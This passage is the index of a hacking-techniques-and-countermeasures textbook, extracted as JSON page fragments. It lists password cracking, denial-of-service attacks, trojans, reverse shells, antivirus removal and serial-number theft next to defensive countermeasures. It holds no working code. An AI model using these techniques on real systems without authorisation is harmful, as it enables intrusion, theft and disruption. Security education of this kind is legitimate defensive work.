configuration, Red Hat Version 8, \n45–47\nBPF, see Berkley Packet Filter, and ngrep\nBrute force, 299–356\nBruteFTP (File Transfer Protocol),\n346–353\nbrute-force FTP password connection with, \n346\nexecute, 353\ninstall, 346–350\nselect target, 351–352\nCHNTPW, 325–336\nboot from CD, 326–328\nchange password, 331–334\nchanging administrator password with, 325\nfollow on-screen instructions, 328–330\ngain physical access to computer, 325–326\nreboot, 335–336\nFGDump, 309–312\nJohn the Ripper, 337–345\nbrute-force passwords with, 337\nconfigure, 337\nexecute, 342–345\nLC5, 313–324\ncracking password hashes with, 313\nexecute, 319–324\ninstall, 313–315\nselect parameters, 316–319\nstart, 316\nNETWOX/NETWAG, 299–303\nTSGrinder II, 354–356\nBruteFTP, 346–353\nbrute force FTP password with, 347\nexecute, 353\ninstall, 346–350\nselect target, 351–352\nsyntax, 716\nC\nCase sensitivity, of Linux, 59\nCD-ROMs\naccompanying book, 60\ndisabling autorun, 6\ninstalling virtual Red Hat Version 8, 39\ninstalling virtual Windows 2000, 15\nCerberus, 468–473, 719\nCERT (Certification), 359\nCGI (Common Gateway Interface) Scanner, \n171–177\nentering target IP address, 172\nhow it works, 171\nrunning, 173–177\nstarting, 171–172\nsyntax, 696\n" }, { "page_number": 740, "text": "Index\n\u0001\n727\nChargen (character generator service), 74\nCHNTPW (Change NT Password), 325–336\nboot from CD, 326–328\nchange password, 331–334\ngain physical access to computer, 325–326\nhow it works, 325\non-screen instructions, 328–330\nreboot, 335–336\nCIAC, see Computer Incident Advisory Centre\nComputer Incident Advisory Centre (CIAC), 359\nConnectivity, detecting target, 105–106\nCryptcat, 161\nCtrl/Alt keys, 29–30, 55–56\nD\nDate & Time settings, Windows 2000, 24\nDaytime protocol, 74\nDefault Shares, disabling, 135–138, 694\nDenial of service, see DoS (Denial-of-Service)\nDisable Default Shares, 135–138, 694\nDisk size, virtual machines, 14, 38\nDNS (Domain Name System), 123\nDomain Name System, see DNS\nDoS (Denial-of-Service), 643–669\nland attack, 645–649\nland attack - SYN attack, 655–659\nsmurf attack, 650–654\nTrash2.c, 665–669\nUDP flood attack, 660–664\nusing ports 13 and 19 for, 74\nDsniff, 573, 720–721\nDUMPSEC, 98–101, 679–681\nE\nE-mails, and attackers, 222\nECHO countermeasure, Pathping, 107–108\nElitewrap, 618–626\nhow it works, 618\ninitiating listening netcat session, 622–626\ninitiating Telnet session, 595\noutdated antivirus and, 601–602, 626\nports in use, 618–621\nsyntax, 721\nEmulate 3 Buttons? command, 42\nEncryption, as countermeasure\nAchilles, 574\nDsniff, 573\nEthereal, 195\nEttercap, 556\nIPDump2, 234\nngrep, 213\nTcpdump, 223\nWinDump, 230\nZxSniffer, 240\nEngage Packet Builder, 264\nEnter key, 58\nESX Server, 3\nEthereal, 195–212\nhow it works, 195\ninstalling on Red Hat Linux computer, \n196–205\ninstalling on Windows, 195, 206–212\nsyntax, 697\nunderstanding, 212\nEthernet three-way handshakes, 265\nEttercap, 556–572\nchanging data, 565–572\ndisplaying hostnames, 560–562\nhow it works, 556\ninstalling, 556–557\nintercepting usernames/passwords,\n562–565\nsetting parameters, 558–559\nsyntax, 720\nF\nF8 key, 17\nFake Lock Screen XP\nexecuting, 494–498\nhow it works, 491\nsetting parameters, 492–493\nstarting application, 491–492\nsyntax, 719\nFGDump, 309–312, 713\nFile Transfer Protocol, see FTP\nFile verification countermeasure, Elitewrap, 618\nFilters, Ettercap, 565–572\nFirewalls\nFpipe bypassing, 627–632\nPackit for testing, 284\nvirtual Red Hat Version 8 installation, 48\nFirewalls, as countermeasure\nNETWOX/NETWAG, 301\nscanning\nAngry IP, 147–150\nCGI (Common Gateway Interface) Scanner, \n171–177\nFscan, 153\nHydra, 178–186\nLANguard, 151–152\nLanSpy, 158–160\nPassifist, 154–157\nStrobe, 166–168\nSuperScan, 163–165\nSniffit, 249\nspoofing\nLinux, 277\nRafaleX, 263–267\nSMAC (Spoofed Media Access Control), 268\n" }, { "page_number": 741, "text": "728\n\u0001\nPractical Hacking Techniques and Countermeasures\ntarget enumeration\ndisable default shares, 135\nDUMPSEC, 98–101\nGETMAC, 90\nnmap/nmapFE, 109–116\nnmapNT, 117–122\nnmblookup, 124\nnslookup, 123\nNULL session, 89\nSID2USER, 93–95\nUSER2SID, 91\nUSERDUMP, 96\nUSERINFO, 97\nWHCC, 507\nWinFingerprint, 139–143\nvulnerability scanning\nSolar Winds, 386\nX-Scan, 397\nFpipe, 627–632, 721–722\nFscan, 153, 695\nFTP (File Transfer Protocol)\nbrute-force FTP passwords\nBruteFTP, 346–353\nNETWOX/NETWAG, 301–308\nFTPScanner, 169–170\nFTPScanner, 169–170, 696\nG\ngcc banner.c –o banner, 84\nGETMAC, 90, 679\nGlobal Positioning Satellites, see GPS, and \nNetStumbler/Mini-Stumbler\nGPS (Global Positioning Satellites), and \n NetStumbler/Mini-Stumbler, 518\nGraphical User Interface, see GUI\nGSX Server, 3\nGUI (Graphical User Interface), Red Hat Linux,\n59\nH\nHost computers\ndefined, 3\nswitching back to, 29\nHostnames\nEttercap displaying, 560–561\nobtaining with nmblookup, 124\nobtaining with nslookup, 123\nHosts\nenumerating LAN, 102–104\nscanning with WinFingerprint, 139–143\nHotfixes, NETWOX/NETWAG, 384\nHydra\ncompiling, 178\ncreating and starting, 178–180\nhow it works, 178\nlaunching against target, 180–186\nI\nICMP (Internet Control Messenger Protocol)\nngrep recognizing, 213\nas PathPing countermeasure, 107–108\nas PingG countermeasure, 105–106\nSneaky-Sneaky for tunnel backdoor,\n545–552\nIDS (Intrusion Detection System)\nFscan attempting to circumvent, 153\nnetcat countermeasure, 161–162\nnmap/nmapFE countermeasure, 109–116\nnmapNT countermeasure, 117–122\nnmblookup countermeasure, 124\nnslookup countermeasure, 123\nPackit for testing, 284\nIngress filtering, and DoS (Denial-of-Service) \nland attacks, 645, 649\nINSTALL files, Ethereal, 199\nInstallation to Begin screen, Red Hat Version 8, 51\nInstallation Wizard, VMware Workstation,\n4–9\nInter Process Communication share, see IPC$\nInternet\nconfiguring for Achilles, 576–578\nvulnerability scanner: Cerberus, 468–473\nInternet Control Messenger Protocol, see ICMP \nInternet Relay Chat, see IRC\nIntrusion Detection System, see IDS \nIP addresses\nattackers looking for, 222\ninstalling Red Hat Version 8 virtual machine, \n47\nspoofing with Packit, see Packit\nspoofing with RafaleX, 263–267\ntargeting with nmblookup, 124\ntargeting with nslookup, 123\nIPC$ (Inter Process Communication share),\n61, 89\nIPDump2\nhow it works, 234\nfor Linux, 234–237\nsyntax, 705\nfor Windows, 237–239\nIRC (Internet Relay Chat), 74\nJ\nJtR (John the Ripper), 337–345, 714–716\nconfigure, 337\nexecute, 342–345\nhow it works, 337\nsyntax, 713\n" }, { "page_number": 742, "text": "Index\n\u0001\n729\nK\nKeyboard layout\ninstalling Red Hat Version 8 virtual machine, 41\ninstalling Windows 2000 virtual Workstation, 22\nL\nL0phtcrack version 5, see LC5 (L0phtcrack \nversion 5)\nLand attacks, DoS (Denial-of-Service)\noverview of, 645–649\nSYN (Synchronize) attack, 655–659\nLanguage support, Red Hat Version 8, 41, 48\nLANguard, 151–152, 694\nLANs (Local Area Networks)\nenumerating hosts/domains of, 102–104\nidentifying targets with LanSpy, 158–160\nidentifying targets with Passifist, 154–157\nLanSpy, 158–160, 695\nLC5 (L0phtcrack version 5), 313–324\ncracking password hashes with, 313\nexecute, 319–324\ninstall, 313–315\nselect parameters, 316–319\nstart, 316\nsyntax, 713\nLicenses\ninstalling VMWare Workstation, 5\ninstalling Windows 2000 virtual Workstation, \n18\noperating system, 10\nSAINT, 361–362, 367\nLinux\ndownloading, 10\ninstalling Red Hat Version 8 virtual machine, \n35–55\nbeginning, 51–55\nconfiguring settings, 38–51\nNew Virtual Machine Wizard, 35–38\nVMware Tools, 55–59\nIPDump2 for, 234–237\nJohn the Ripper for, 341–345\nMetasploit for, 441–450\nngrep for, 213–218\nspoofed MAC (Media Access Control) \naddresses, 277–283\nhow it works, 268\ninstall, 268–270\nreboot, 275–276\nset parameters, 270–275\nsyntax, 706\nsyntax, 706–707\ntext command, 40\nLocal Area Networks, see LANs\nLog monitoring\nFpipe countermeasure, 627\nNETWOX/NETWAG countermeasure, 638\nPortMapper countermeasure, 605\nM\nMAC (Media Access Control) addresses, 706\nattackers looking for, 222\nNetStumbler countermeasure, 513\nspoofing with Linux, 277–283\nspoofing with Packit, see Packit\nspoofing with SMAC (Spoofed Media Access \nControl), 268–276\nhow it works, 268\ninstall, 268–270\nreboot, 275–276\nset parameters, 270–275\nsyntax, 706\nspoofing with VMware Workstation, 295–297\ntarget enumeration, 90\nmake command, 70\nmake install command, 71\nMan-in-the-middle, see MTM attacks\nManagement Information Base, see MIB, and \nSNMP\nMDAC (Microsoft Data Access Components), 392\nMedia Access Control, see MAC \nMetasploit, 429–450\non Linux, 441–450\nsyntax, 717\non Windows, 429–440\nMIB (Management Information Base), and \nSNMP (Single Network Management \nProtocol), 378\nMicrosoft Data Access Components, see MDAC\nMicrosoft serial numbers, 499–506\nMicrosoft Windows, see Windows\nMini-Stumbler, 518\nMTM (man-in-the-middle) attacks, 587\nN\nN-Stealth, 414–420\nexecuting, 416–417\ninstalling, 414\nreviewing results, 417–420\nstarting application/setting parameters, 415\nsyntax, 717\nNAT (Network Address Translation)\nfor NetStumbler, 515\nWingate Proxy Server providing, 187\nNet commands\nenumerating hosts and domains of LANs \n(Local Area Networks) with, 102–104\nsyntax, 681\n" }, { "page_number": 743, "text": "730\n\u0001\nPractical Hacking Techniques and Countermeasures\nNetBus, 534–544\non attacker’s computer, 540–544\nvs. Back Orifice, 534\nhow it works, 534\nremoval tools for, 544\nsyntax, 719\non target (server), 534–540\nNetcat\nbanner identification with, 67–72\ncovert reverse Telnet session with,\n588–595\nhiding on wireless, 553–555\nlocating open ports with, 161–162\nreference for, 671\nsyntax, 676\nNetcraft\nretrieving targeted OS (Operating System) \nwith, 131–132\nsyntax, 694\nNetStumbler\nlocating unsecured wireless, 513–518\nanalyzing results, 516–518\nexecuting, 515–516\nhow it works, 513\ninstalling, 514\nsyntax, 719\nNETWAG\nbrute force FTP passwords, 301–308\ndefined, 378\nimportance of, 385\nsyntax, 712–713\ntraffic redirection with, 638–641\nwalking SNMP, 379–385\nNETWLIB, 301\nNetwork Address Translation, see NAT\nNetwork cards, see NICs\nNetwork Identification Wizard, 27–28\nNETWork toolbox, see NETWOX (NETWork \ntoolbOX)\nNetworks, virtual machines\nconfiguring, 13\nRed Hat Version 8, 37, 47\nWindows 2000 Workstation components, \n24–25\nNETWOX (NETWork toolbOX)\nbrute force FTP passwords with,\n301–308\nimportance of, 385\nSNMP (Single Network Management \nProtocol) walk with, 379–385\nsyntax, 712–713\ntraffic redirection with, 638–641\nNew Virtual Machine Wizard, 11–14, 35–38\nNgrep, 213–222\nhow it works, 213\nfor Linux, 213–218\nsyntax, 697–698\nfor Windows, 219–222\nNICs (network cards)\nfor NetStumbler, 515\ntarget enumeration and, 90\nNikto\nassessing Web server security with, 451–454\nimporting for WHCC (Web Hack Control \nCenter), 507\nsyntax, 717–719\nNmap, 109–116\ncompiling/creating Linux executable, \n109–111\nexecuting against target, 112–116\nhow it works, 109\nsyntax, 682\nNmapNT, 117–122\nexecute against target, 121–122\nhow it works, 117\ninstall drivers, 117–120\nsyntax, 691\nNmblookup, 124, 692–694\nNslookup, 123, 691\nNULL session, 89, 678\nO\nOpen shares, scanning with Hydra, 178–186\nOperating system, see OS\nOS (operating system)\nCGI (Common Gateway Interface) Scanner \ncountermeasures, 171–177\nidentifying\nwith Netcraft, 131–132\nwith nmap/nmapFE, 109–116\nwith nmapNT, 117–122\nwith Sprint, 133–134\nwith XProbe2, 75–78\npenetration testing with LANguard, 151–152\nP\nPackit, 284–294\ncompile, 284–285\ncreate, 286\nexecute, 290–294\nhow it works, 284\ninstall, 287\nset parameters, 288–289\nsyntax, 707–712\nPAGE DOWN keys, 49\nPAGE UP keys, 49\nPassifist, 154–157, 695\nPasswords, see also Administrator passwords\nattackers looking for, 222\nEttercap intercepting, 564–565\n" }, { "page_number": 744, "text": "Index\n\u0001\n731\nJohn the Ripper and, 345\nPsExec countermeasure, 633\nRed Hat Linux Boot Loader, 46\nRed Hat Version 8 virtual machine root, 49, 55\nPasswords, brute force\ncracking hashes, 313–324\nextracting hashes, 309–312\nFTP (File Transfer Protocol), 346–353\nfor hashed files, 337–345\nTerminal Server, 354–356\nPatches, SAINT (Security Administrator’s \nIntegrated Network Tool), 378\nPathping, 107–108, 682\nPenetration testing, with LANguard, 151–152\nPing, 681–691\nPingG, 105–106\nPluto, 421–428\ncustom audit checks, 427\nreviewing results, 426–428\nsetting parameters, 423–425\nstarting, 421–422\nsyntax, 717\nPoint-to-Point Protocol, see PPP\nPort 13, 74\nPort 19, 74\nPort 23, 65\nPort 6666, 74\nPortMapper, 605–617\nconfigure parameters, 605–612\nexecute, 613–617\nhow it works, 605\ninstall, 605–607\nsyntax, 721\nPorts, open\nfinding port redirection, 617\nlocating with Angry IP, 147–150\nlocating with Cryptcat, 161\nlocating with LANguard, 151–152\nlocating with netcat, 161–162\nlocating with Strobe, 166–168\nlocating with SuperScan, 163–165\nPPP (Point-to-Point Protocol), 213\nPreparation\nabout CD-ROM accompanying book, 60\ninstalling VMware Workstation, 3–10\nRestrict Anonymous, 60–62\nvirtual machines, see Virtual machines\nPsExec, 633–637, 722–723\nR\nRafaleX\nDoS (Denial-of-Service) land attack with, \n645–649\nDoS smurf attack with, 650–654\nDoS SYN (Synchronize) attack with, 655–659\nDoS UDP (User Datagram Protocol) flood \nattack with, 660–664\nspoofing IP (Internet Protocol) addresses \nwith, 263–267\nsyntax, 706, 723\nRAM (Random Access Memory), virtual machine \nsettings, 15, 39\nRandom Access Memory, see RAM\nREADME files, Ethereal, 199\nRed Hat Linux\nbanner grabbing via netcat, 69–72\nbanner grabbing via Telnet in, 66\ninstalling amap on, 79\ninstalling Ethereal, 196–205\nRed Hat Version 8 virtual machine, installing, \n35–55\nbeginning, 51–55\nconfiguring settings, 38–51\nNew Virtual Machine Wizard, 35–38\nVMware Tools, 55–59\nRedirection, 603–641\nElitewrap, 618–626\nhow it works, 618\nlistening netcat session on target, 622–626\nobtaining list of ports in use, 618–621\nstop listening on target, 626\nFpipe, 627–632\nNETWOX/NETWAG, 638–641\nPortMapper, 605–617\nconfigure parameters, 605–612\nexecute, 613–617\nhow it works, 605\ninstall, 605–607\nPsExec, 633–637\nReferences\nLinux download, 10\noverview of, 671–674\nVMware Workstation demo, 3\nRegistrant identification\nSam Spade protecting, 128–130\nVisual Route Web Site obtaining, 126–127\nRegistry Edit, 135–138\nRelative Identifiers, see RIDs\nRemote Procedure Calls, see RPCs\nRestrict Anonymous, as countermeasure\nAngry IP, 147–150\nDUMPSEC, 98–101\nGETMAC, 90\nNULL session, 89\nsettings for, 60–62\nSID2USER, 93–95\nUSER2SID, 91\nUSERDUMP, 96\nUSERINFO, 97\nWindows default shares, 135–138\nWinFingerprint, 139–143\n" }, { "page_number": 745, "text": "732\n\u0001\nPractical Hacking Techniques and Countermeasures\nRetina\nhigh quality of, 396\nsyntax, 717\ntarget assessment with, 392–396\nX-Scan as free equivalent of, 397–401\nReverse Shell, 476–481\nauto exploit: WHAX, 474–490\nbooting from CD, 474–475\nexecuting AutoScan, 482–490\nhow it works, 474\nsetting parameters, 476–481\ncovert channel\nexecuting on target, 599–601\nhow it works, 596\nlistening netcat session, 597–598\nremoving antivirus, 601–602\nsyntax, 721\nRIDs (Relative Identifiers), 92, 93–95\nRockXP, 499–506\nexecuting, 499–500, 506\ngathering data, 501–504\ninserting into custom script, 504–506\nstealing Microsoft serial numbers, 502\nsyntax, 719\nRoot password, 49, 55\nRouter IP (Internet Protocol) addresses,\n222\nRpcinfo\nRPC (Remote Procedure Call) reporting with, \n125\nsyntax, 692\nRPCs (Remote Procedure Calls), 125\nS\nSAINT (Security Administrator's Integrated \nNetwork Tool), 359–378\nexecuting against target, 364–373\nhow it works, 359\ninstalling, 359–364\npatches, 378\nreviewing results, 373–378\nsyntax, 717\nSAM (Security Accounts Manager), FGDump \nand, 309\nSam Spade, 694\nSam Spade Web site, 128–130\nSARA (Security Auditor’s Research Assistant), \n402–413\ncompiling, 402–404\nexecuting against target, 404–407\nhow it works, 402\nreviewing results, 408–413\nsyntax, 717\nSATAN, 359\nScanline\nbanner identification, 73–74\nreference for, 671\nsyntax, 676–677\nScanning, 145–192. see also Vulnerability scanning\nAngry IP, 147–150\nFscan, 153\nFTPScanner, 169–170\nHydra, 178–186\nLANguard, 151–152\nLanSpy, 158–160\nnetcat, 161–162\nPassifist, 154–157\nStrobe, 166–168\nSuperScan, 163–165\nTCS CGI (Common Gateway Interface) \nScanner, 171–177\nWGateScan/ADM Gates, 187–191\nSecure FTP Client, see SFTP\nSecure Socket Layer, see SSL \nSecurity Accounts Manager, see SAM, FGDump \nand\nSecurity Administrator’s Integrated Network \nTool, see SAINT \nSecurity Auditor’s Research Assistant, see SARA \nSecurity Identifiers, see SIDs\nenumerating from given username, 91–92\nenumerating User ID from, 93–95\nSecurity policies, as countermeasure\nDsniff, 573\nEttercap, 556\nPsExec, 633\nSerial Line Interface Protocol, see SLIP, and ngrep\nSerial numbers\nbypassing Microsoft, 499–506\ninstalling Windows 2000 virtual Workstation, 23\nRockXP bypassing, 499–506\nServices, disabling unnecessary\nLanSpy countermeasure, 158–160\nnetcat countermeasure, 161–162, 588\nStrobe countermeasure, 166–168\nSFIND tool, 553\nSFTP (Secure FTP Client), 346\nShadow Scanner, 455–467\nexecuting against target, 460–461\ninstalling, 455\nquality and cost of, 467\nreviewing results, 462–467\nsetting parameters, 458–459\nstarting application, 456–457\nsyntax, 719\ntarget assessment, 455–467\nSID2USER, 93–95, 679\nSIDs (Security Identifiers)\nenumerating from given username, 91–92\nenumerating User ID from, 93–95\n" }, { "page_number": 746, "text": "Index\n\u0001\n733\nSimple Network Management Protocol, see SNMP\nSLIP (Serial Line Interface Protocol), and ngrep, \n213\nSMAC (Spoofed Media Access Control), 268–276\nhow it works, 268\ninstall, 268–270\nreboot, 275–276\nset parameters, 270–275\nsyntax, 706\nSMB Scanner, 696\nSmurf attack, DoS (Denial-of-Service), 650–654\nSneaky-Sneaky\nadvantage of, 552\non attacker’s computer, 548–552\nhow it works, 545\nsyntax, 719–720\non target (server), 545–547\nSniffing traffic, 193–260\ndetecting Ettercap, 556\nEthereal, 195–212\nhow it works, 195\ninstalling on Red Hat Linux computer, \n196–205\ninstalling on Windows, 195, 206–212\nsyntax for, 697\nunderstanding, 212\nIPDump2, 234–239\nngrep, 213–222\nhow it works, 213\nfor Linux, 213–218\nsyntax for, 697–698\nfor Windows, 219–222\nSniffit, 249–259\nconfiguring/creating application, 249–252\nexecuting, 253–259\nhow it works, 249\nTcpdump, 223–229\nWindump, 230–233\nZxSniffer, 240–248\nexecuting, 246–248\nhow it works, 240\ninstalling, 240–245\nSniffit, 249–259\nconfiguring/creating application, 249–252\nexecuting, 253–259\nhow it works, 249\nsyntax, 705\nSNMP (Simple Network Management Protocol)\nassessing with X-Scan, 399\nSolar Winds brute force attack on, 386–391\nwalks, 379–385\nSocial engineering techniques, 86\nSoftware, Trojan-detection, 519\nSolar Winds, 386–391\ninstalling, 386\noptions, 387–388\nSNMP (Simple Management Network Protocol) \nbrute force attack with, 389–391\nsyntax, 717\nSpoofed Media Access Control, see SMAC \nSpoofing, 261–298\nLinux, 277–283\nhow it works, 268\ninstall, 268–270\nreboot, 275–276\nset parameters, 270–275\nsyntax, 706\nPackit, 284–294\ncompile, 284–285\ncreate, 286\nexecute, 290–294\nhow it works, 284\ninstall, 287\nset parameters, 288–289\nsyntax, 707–712\nRafaleX, 263–267\nSMAC (Spoofed Media Access Control), \n268–276\nhow it works, 268\ninstalling, 268–270\nrebooting, 275–276\nsetting parameters, 270–275\nsyntax, 706\nVMware Workstation, 295–297\nSprint, 133–134, 694\nSSL (Secure Socket Layer)\nBruteFTP countermeasure, 346\nFTPScanner countermeasure, 169–170\nMTM (man-in-the-middle) attacks and, 587\nNETWOX/NETWAG countermeasure, 301\nStartx, 58–59\nStreaming files, 553–555, 720\nStrobe, 166–168, 696\nSuperScan, 163–165, 695\nSYN (Synchronize)\nDoS (Denial-of-Service) attack, 655–659\nEthernet three-way handshakes, 265\nSYN-ACK (Acknowledge), 265\nSynchronize, see SYN\nSyntax, for tools, see Tool syntax\nT\nTab key, 42, 44\nTarget enumeration\nDUMPSEC, 98–101\nGETMAC, 90\nnet commands, 102–104\nNetcraft, 131–132\nNmap/nmapFE, 109–116\nNmapNT, 117–122\nNmblookup, 124\n" }, { "page_number": 747, "text": "734\n\u0001\nPractical Hacking Techniques and Countermeasures\nNslookup, 123\nNULL session, 89\nPathping, 107–108\nPingG, 105–106\nRpcinfo, 125\nSam Spade, 128–130\nSID2USER, 93–95\nSprint, 133–134\nUSER2SID, 91–92\nUSERDUMP, 96\nUSERINFO, 97\nVisual Route, 126–127\nWindows OS (Operating System), 135–138\nWinFingerprint, 139–143\nTCP (Transfer Control Protocol)\nngrep recognizing, 213\nTCP (Transfer Control Protocol) Relay, 723\nTcpdump, 223–229, 698–700\nTCP/IP auditing, 284\nTCS CGI (Common Gateway Interface) Scanner, \n171–177\nTelnet\nbanner identification, 65–66\nreference for, 671\nsetting covert reverse session of, 588–595\nsyntax, 675\nTerminal Server, brute force passwords, \n354–356\nToken Ring, ngrep recognizing, 213\nTool syntax\nAchilles, 721\nADM Gates, 697\namap, 678\nAngry IP, 694\nAutoScan, 719\nBack Orifice, 719\nbanner.c, 678\nBruteFTP, 716\nCerberus, 719\nCGI (Common Gateway Interface) Scanner, \n696\nDisable default shares, 694\nDsniff, 720–721\nDUMPSEC, 679–681\nElitewrap, 721\nEthereal, 697\nEttercap, 720\nFake Lock, Screen XP/Login, 719\nFGDump, 713\nFpipe, 721–722\nFscan, 695\nFTP (File Transfer Protocol) Scanner, 696\nGETMAC, 679\nIPDump2, 705\nJohn the Ripper, 713\nLanGuard, 694\nLanSpy, 695\nLC5, 713\nLinux, 706–707\nMetasploit, 717\nN-Stealth, 717\nNet commands, 681\nNetBus, 719\nNetcat, 676, 695\nNetcraft, 694\nNetStumbler, 719\nNETWAG, 712–713\nNETWOX, 712–713\nNgrep, 697–698\nNikto, 717–719\nNmap, 682\nNmapNT, 691\nNmblookup, 692–694\nNslookup, 691\nNULL session, 678\nPackit, 707–712\nPassifist, 695\nPathping, 682\nPing, 681–691\nPluto, 717\nPortMapper, 721\nPSExec, 722–723\nRafaleX, 706\nRafalex, 723\nRetina, 717\nReverse Shell, 721\nRockXP, 719\nRpcinfo, 692\nSAINT (Security Administrator’s Integrated \nNetwork Tool), 717\nSam Spade, 694\nSARA (Security Auditor’s Research Assistant), \n717\nScanline, 676–677\nShadow Scanner, 719\nSID2USER, 679\nSMAC (Spoofed Media Access Control),\n706\nSMB Scanner, 696\nSneaky-Sneaky, 719–720\nSniffit, 705\nSolar Winds, 717\nSprint, 694\nStreaming files, 720\nStrobe, 696\nSuperScan, 695\nTCP (Transfer Control Protocol) Relay,\n723\nTcpdump, 698–700\nTelnet, 675\nTrash2.c, 723\nTSGrinder, 716\n" }, { "page_number": 748, "text": "Index\n\u0001\n735\nUSER2SID, 679\nUSERDUMP, 679\nUSERINFO, 679\nVisual Route, 694\nVMWare, 712\nWindump, 700–705WHCC Scan, 719\nWinFingerprint, 694\nWingate Scanner, 697\nXprobe 2, 677–678\nX-Scan, 717\nZxSniffer, 705\nTraffic redirection\nFpipe, 627–632\nNETWOX/NETWAG, 638–641\nPortMapper, 605–617\nconfigure parameters, 605–612\nexecute, 613–617\nhow it works, 605\ninstall, 605–607\nsyntax, 721\nTransfer Control Protocol, see TCP\nTransfer Control Protocol, see TCP Relay\nTrash2.c, 723\ncreating DoS (Denial-of-Service) traffic with, \n665–669\nTrojans\nBack Orifice, 519–533\ndetection software, 519\nNetBus, 534–544\nTSGrinder, 354–356, 716\nU\nUDP (User Datagram Protocol)\nDoS (Denial-of-Service) flood attack,\n660–664\nngrep recognizing, 213\nUser Datagram Protocol, see UDP\nUser information\ngathering with DUMPSEC, 98–101\ngathering with USERDUMP, 96\ngathering with USERINFO, 97\nUSER2SID, 91, 679\nUSERDUMP, 96, 679\nUSERINFO, 97, 679\nUsernames\nadding to Red Hat Version 8 virtual machine,\n50\nattackers looking for, 222, 353\nenumerating from SIDs (Security Identifiers), \n93–95\nenumerating SIDs from given, 91\nEttercap intercepting, 564–565\nJohn the Ripper and, 345\nNETWOX/NETWAG providing, 385\nV\nVideo cards, Red Hat Version 8, 53\nVirtual computers\ndefined, 3\nswitching back to hosts from, 29\nVMware Workstation hosting, 10\nVirtual machines, 10–59\ninstalling Red Hat Version 8, 35–55\nbeginning installation, 51–55\ninstalling VMware Tools, 55–59\nNew Virtual Machine Wizard,\n35–38\nsettings, 38–51\ninstalling Windows 2000 Workstation,\n11–29\nformatting hard drive, 19–20\ninstalling VMware Tools, 29–34\nnetworking components, 24–25\nNew Virtual Machine Wizard, 11–14\nsettings for, 21–24\nstarting virtual machine, 15–18\noverview of, 10\nVisual Route, 126–127, 694\nVMware\nP2V Assistant, 3\nsyntax, 712\nVMware Tools\nchanges after installing, 34\nfor Red Hat Version 8 virtual machines,\n55–59\nfor Windows 2000 virtual machines,\n29–34\nwizard, 31–34\nVMware Workstation\ndemo version, 3\nhosting virtual computers, 10\ninstalling, 3–10\ninstalling Red Hat Version 8 virtual machine, \n35–55\ninstalling virtual Windows 2000 Workstation, \n11–29\noverview of, 3\nspoofing MAC (Media Access Control) \naddresses with, 295–297\nVulnerability scanning, 357–510\nCerberus, 468–473\nFake Lock Screen XP, 491–498\nexecuting, 494–498\nhow it works, 491\nsetting parameters, 492–493\nstarting application, 491–492\nsyntax, 719\nMetasploit, 429–450\non Linux, 441–450\nsyntax for, 717\n" }, { "page_number": 749, "text": "736\n\u0001\nPractical Hacking Techniques and Countermeasures\non Windows, 429–440\nN-Stealth, 414–420\nNETWOX/NETWAG, 379–385\nNitko, 451–454\nPluto, 421–428\nRetina, 392–396\nRockXP, 499–506\nSAINT (Security Administrator’s Integrated \nNetwork Tool), 359–378\nexecuting against target, 364–373\nhow it works, 359\ninstalling, 359–364\npatches, 378\nreviewing results, 373–378\nsyntax for, 717\nSARA (Security Auditor’s Research Assistant), \n402–413\ncompiling, 402–404\nexecuting against target, 404–407\nhow it works, 402\nreviewing results, 408–413\nsyntax for, 717\nShadow Scanner, 455–467\nexecuting against target, 460–461\ninstalling, 455\nquality and cost of, 467\nreviewing results, 462–467\nsetting parameters, 458–459\nstarting application, 456–457\nsyntax for, 719\ntarget assessment, 455–467\nSolar Winds, 386–391\nWeb Hack Control Center, 507–510\nWHAX, 474–490\nbooting from CD, 474–475\nexecuting AutoScan, 482–490\nhow it works, 474\nsetting parameters, 476–481\nX-Scan, 397–401\nW\nWebGoat, 574–575, 584–587\nWeb Hack Control Center, see WHCC scan\nWeb server target assessment\nNikto, 451–454\nN-Stealth, 414–420\nWEP (Wired Equivalent Privacy), 516\nWGateScan, 187–189, 697\nWHAX, 474–490\nbooting from CD, 474–475\nexecuting AutoScan, 482–490\nhow it works, 474\nsetting parameters, 476–481\nWHCC (Web Hack Control Center) scan, \n507–510, 719\nWindows\ninstalling amap on, 82–83\ninstalling Ethereal on, 195\niPDump2 for, 237–239\nlicensing requirements, 10\nMetasploit for, 429–440\nngrep for, 219–222\nNikto for, 454\nRestrict Anonymous in versions of,\n60–62\ntargeting default shares on, 135–138\nWindows 2000 virtual machines\ninstalling virtual Workstation, 11–29\nformatting hard drive, 19–20\nnetworking components, 24–25\nsettings for, 21–24\nstarting New Virtual Machine wizard,\n11–14\nstarting virtual machine, 15–18\ninstalling VMware Tools, 29–34\nRestrict Anonymous and, 61\nWindows Product Activation, see WPA file\nWinDump, 230–233, 700–705\nWinFingerprint, 139–143, 694\nWingate Proxy Servers, 187–191\nWingate Scanner, 187–189, 697\nWinPcap\ninstalling Ethereal with, 195, 209–210\ninstalling Ettercap with, 557\nWired Equivalent Privacy, see WEP\nWireless, 511–602\nAchilles, 574–587\nconfiguring Web browser, 576–578\nhow it works, 574\nlaunch application, 578–584\nlaunch WebGoat, 574–575\nmanipulate data in real-time,\n585–587\nBack Orifice, 519–533\non attacker’s computer, 528–533\nhow it works, 519\ninstalling remotely, 533\nsyntax for, 719\nDsniff, 573\nEttercap, 556–572\nchanging data, 565–572\ndisplaying hostnames, 560–562\nhow it works, 556\ninstalling, 556–557\nintercepting usernames/passwords, \n562–565\nsetting parameters, 558–559\nNetBus, 534–544\non attacker’s computer, 540–544\nvs. Back Orifice, 534\nhow it works, 534\n" }, { "page_number": 750, "text": "Index\n\u0001\n737\nremoval tools for, 544\nsyntax for, 719\nnetcat, 588–595\nNetStumbler/Mini-Stumbler,\n513–518\nReverse Shell, 596–602\nSneaky-Sneaky, 545–552\non attacker's computer, 548–552\nhow it works, 545\non target (server), 545–547\nstreaming files, 553–555\nWireless monitoring, NetStumbler \ncountermeasure, 513\nWorkstation Defaults screen, Red Hat Version 8, \n50\nWPA (Windows Product Activation) file,\n504\nX\nXprobe 2\ndetecting OS (Operating System) of target \nwith, 75–78\nreference for, 671\nsyntax, 677–678\nX-Scan, 397–401, 717\nX Windows, 53, 58–59\nZ\nZxSniffer, 240–248\nexecuting, 246–248\nhow it works, 240\ninstalling, 240–245\nsyntax, 705\n" }, { "page_number": 751, "text": "" }, { "page_number": 752, "text": "" } ] }